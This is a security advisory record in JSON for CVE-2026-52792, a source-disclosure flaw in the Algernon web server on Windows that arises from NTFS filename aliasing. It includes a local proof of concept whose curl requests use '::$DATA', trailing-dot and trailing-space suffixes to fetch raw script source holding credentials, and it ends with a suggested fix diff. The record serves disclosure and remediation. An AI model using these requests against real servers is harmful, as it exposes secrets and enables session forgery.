{"id":"CVE-2026-52792","aliases":["GHSA-mm6c-5j6x-hq8m","GO-2026-5903"],"url":"https://o3.security/vulnerability/CVE-2026-52792","summary":"Algernon: Server-side script source disclosure on Windows via NTFS filename","details":"### Summary\n\nAlgernon selects its file handler from `filepath.Ext()` (engine/handlers.go:134), which does not treat the NTFS-equivalent names `x.lua::$DATA`, `x.lua.`, or `x.lua ` as `.lua`. On Windows, an unauthenticated client appends one of these suffixes to any server-side script on a public path and receives its raw source instead of executed output, leaking embedded secrets such as database credentials and the `SetCookieSecret` value.\n\nLinux and macOS hosts are unaffected.\n\n### Preconditions\n\n- Algernon runs on a Windows host (NTFS filesystem).\n- The instance serves at least one server-side script (`.lua`, `.tl`, `.po2`, `.amber`, `.frm`).\n- The script sits on a public path, or no auth backend is configured (`--nodb`, `--simple`, or default no-DB).\n- HTTP/HTTPS reachability to the server.\n\n### Details\n\n```go\n// engine/handlers.go:133\nlowercaseFilename := strings.ToLower(filename)\next := filepath.Ext(lowercaseFilename) // \"index.lua::$data\" -> \".lua::$data\", not \".lua\"  [offending]\n...\nif ac.dispatchRenderer(w, req, filename, ext) { // ext unrecognised, returns false\n    return\n}\nswitch ext {\ncase \".lua\", \".tl\": // execute the script -- never reached for the equivalent forms\n    // ... RunLua ...\ndefault:\n    // control reaches the raw-file branch below\n}\n```\n\n```go\n// engine/handlers.go:452\nf, err := os.Open(filename) // NTFS resolves \"index.lua::$DATA\" to index.lua's data stream\n...\n// engine/handlers.go:479\nif dataBlock, err := ac.ReadAndLogErrors(w, filename, ext); err == nil {\n    dataBlock.ToClient(w, req, filename, ac.ClientCanGzip(req), gzipThreshold) // raw source to client\n}\n```\n\nThe request path reaches `FilePage` through `URL2filename` (utils/files.go:24), which rejects only `..`; a `:`, a trailing `.`, and a trailing space all pass through into `filename`. `filepath.Ext` does an exact suffix match, so `.lua::$data`, `.`, and `.lua ` are not equal to `.lua` or `.tl`. The renderer registry and the execute case are both skipped and control falls to the `default` branch.\n\nThe default branch opens `filename` with `os.Open` and streams the bytes verbatim. On Windows, NTFS canonicalises the alternate-data-stream suffix `::$DATA`, a trailing dot, and a trailing space back to the underlying file, so the bytes returned are the real script source. The missing check: Algernon never rejects or canonicalises Windows-equivalent filenames before choosing a handler.\n\n### Proof of concept\n\n**Setup**\n\n1. Build Algernon from source on a Windows host:\n\n   ```powershell\n   git clone https://github.com/xyproto/algernon\n   cd algernon\n   git checkout v1.17.8\n   go build -o algernon.exe .\n   ```\n\n2. Create a web root with a script that embeds secrets, exactly as a real handler would:\n\n   ```powershell\n   New-Item -ItemType Directory webroot | Out-Null\n   Set-Content webroot\\index.lua @'\n   -- db = POSTGRES(\"postgres://app:S3cr3t@db/prod\")\n   SetCookieSecret(\"hardcoded-session-key\")\n   print(\"<h1>hello</h1>\")\n   '@\n   ```\n\n3. Serve the directory over plain HTTP with no auth backend (run in its own window):\n\n   ```powershell\n   .\\algernon.exe --httponly --noninteractive --nodb --addr ':8088' --dir .\\webroot\n   ```\n\n**Exploit**\n\n1. Request the script normally. It executes, and the source is not disclosed:\n\n   ```powershell\n   curl.exe -s http://127.0.0.1:8088/index.lua\n   ```\n\n   Expected: `<h1>hello</h1>`. The DSN and cookie secret are absent from the response.\n\n2. Request the same script through its NTFS `::$DATA` stream. Algernon returns the raw source:\n\n   ```powershell\n   curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua::$DATA'\n   ```\n\n   Expected: HTTP 200, `Content-Type: application/octet-stream`, body is the verbatim Lua source including `SetCookieSecret(\"hardcoded-session-key\")` and the Postgres DSN.\n\n3. The trailing-dot and trailing-space forms leak the same source:\n\n   ```powershell\n   curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua.'\n   curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua%20'\n   ```\n\n   Expected: identical raw-source response for both.\n\n### Impact\n\n- **Confidentiality:** Reads the verbatim source of any public-path server-side script, exposing hardcoded DB credentials, API keys, and `SetCookieSecret(...)` values.\n- **Authentication:** A disclosed `SetCookieSecret` value lets an unauthenticated attacker forge session cookies and log in as any user.\n\n### Suggestions to fix\n\n> _This has not been tested - it is illustrative only._\n\nReject request paths whose final segment uses a Windows-equivalent form (alternate data stream, trailing dot, or trailing space) before extension dispatch.\n\n```diff\n func (ac *Config) FilePage(w http.ResponseWriter, req *http.Request, filename, luaDataFilename string) {\n+\t// Reject Windows filename-equivalent forms that alias a different file\n+\t// than filepath.Ext sees (e.g. \"x.lua::$DATA\", \"x.lua.\", \"x.lua \").\n+\tif base := filepath.Base(filename); strings.ContainsRune(base, ':') ||\n+\t\tstrings.HasSuffix(base, \".\") || strings.HasSuffix(base, \" \") {\n+\t\thttp.NotFound(w, req)\n+\t\treturn\n+\t}\n \tif ac.quitAfterFirstRequest {\n \t\tgo ac.quitSoon(\"Quit after first request\", defaultSoonDuration)\n \t}\n```","published":"2026-08-19T14:49:45.230Z","modified":"2026-10-21T02:58:27.872437519Z","cvss":null,"epss":{"score":0.00428,"percentile":0.3653,"asOf":"2026-09-17"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/xyproto/algernon","fixedVersion":"1.17.9"}],"fix":{"url":"https://github.com/xyproto/algernon/commit/a6b0724928a0c35a29640b18ad5bd547f5e2efa6","label":"xyproto/algernon@a6b0724"},"references":[{"type":"WEB","url":"https://github.com/xyproto/algernon/releases/tag/v1.17.9"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/52xxx/CVE-2026-52792.json"},{"type":"ADVISORY","url":"https://github.com/xyproto/algernon/security/advisories/GHSA-mm6c-5j6x-hq8m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-52792"},{"type":"FIX","url":"https://github.com/xyproto/algernon/commit/a6b0724928a0c35a29640b18ad5bd547f5e2efa6"},{"type":"PACKAGE","url":"https://github.com/xyproto/algernon"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-21T02:58:27.872437519Z"}}